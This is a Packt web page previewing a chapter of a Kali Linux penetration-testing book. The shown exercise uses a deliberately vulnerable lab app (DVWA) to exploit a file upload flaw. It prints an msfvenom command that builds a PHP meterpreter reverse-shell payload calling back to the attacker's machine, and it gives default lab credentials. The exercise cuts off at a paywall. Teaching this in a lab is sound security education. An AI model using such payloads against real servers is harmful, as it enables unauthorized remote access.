Search icon CANCEL
Arrow left icon
Explore Products
Best Sellers
New Releases
Books
Videos
Audiobooks
Learning Hub
Conferences
Free Learning
Arrow right icon
Arrow up icon
GO TO TOP
Learn Kali Linux 2019

You're reading from   Learn Kali Linux 2019 Perform powerful penetration testing using Kali Linux, Metasploit, Nessus, Nmap, and Wireshark

Arrow left icon
Product type Paperback
Published in Nov 2019
Publisher
ISBN-13 9781789611809
Length 550 pages
Edition 1st Edition
Languages
Arrow right icon
Authors (2):
Arrow left icon
Glen D. Singh Glen D. Singh
Author Profile Icon Glen D. Singh
Glen D. Singh
Joshua Crumbaugh Joshua Crumbaugh
Author Profile Icon Joshua Crumbaugh
Joshua Crumbaugh
Arrow right icon
View More author details
Toc

Table of Contents (22) Chapters Close

Preface 1. Section 1: Kali Linux Basics FREE CHAPTER
2. Introduction to Hacking 3. Setting Up Kali - Part 1 4. Setting Up Kali - Part 2 5. Getting Comfortable with Kali Linux 2019 6. Section 2: Reconnaissance
7. Passive Information Gathering 8. Active Information Gathering 9. Section 3: Vulnerability Assessment and Penetration Testing with Kali Linux 2019
10. Working with Vulnerability Scanners 11. Understanding Network Penetration Testing 12. Network Penetration Testing - Pre-Connection Attacks 13. Network Penetration Testing - Gaining Access 14. Network Penetration Testing - Post-Connection Attacks 15. Network Penetration Testing - Detection and Security 16. Client-Side Attacks - Social Engineering 17. Performing Website Penetration Testing 18. Website Penetration Testing - Gaining Access 19. Best Practices 20. Assessments 21. Other Books You May Enjoy

Exploiting file upload vulnerabilities

In this exercise, we are going to use our OWASP BWA virtual machine to demonstrate a file upload vulnerability. Let's get started:

  1. First, create a payload on your Kali Linux (attacker) machine using msfvenom, which will later be uploaded to the target server. Using the following syntax, create a PHP-based payload for establishing a reverse connection:
msfvenom -p php/meterpreter/reverse_tcp lhost=<IP address of Kali Linux> lport=4444 -f raw
  1. Copy the highlighted code, open a text editor, and save the file as img.php:
  1. Using your web browser within Kali Linux, enter the IP address of OWASP BWA in the address bar and hit Enter.
  2. On the main page, click on Damn Vulnerable Web Application:
  1. The DVWA login portal will appear. Log in with admin/admin as Username/Password:
  1. Once logged in, you'll see a menu on the left-hand...
lock icon The rest of the chapter is locked
Register for a free Packt account to unlock a world of extra content!
A free Packt account unlocks extra newsletters, articles, discounted offers, and much more. Start advancing your knowledge today.
Unlock this book and the full library FREE for 7 days
Get unlimited access to 7000+ expert-authored eBooks and videos courses covering every tech area you can think of
Renews at $19.99/month. Cancel anytime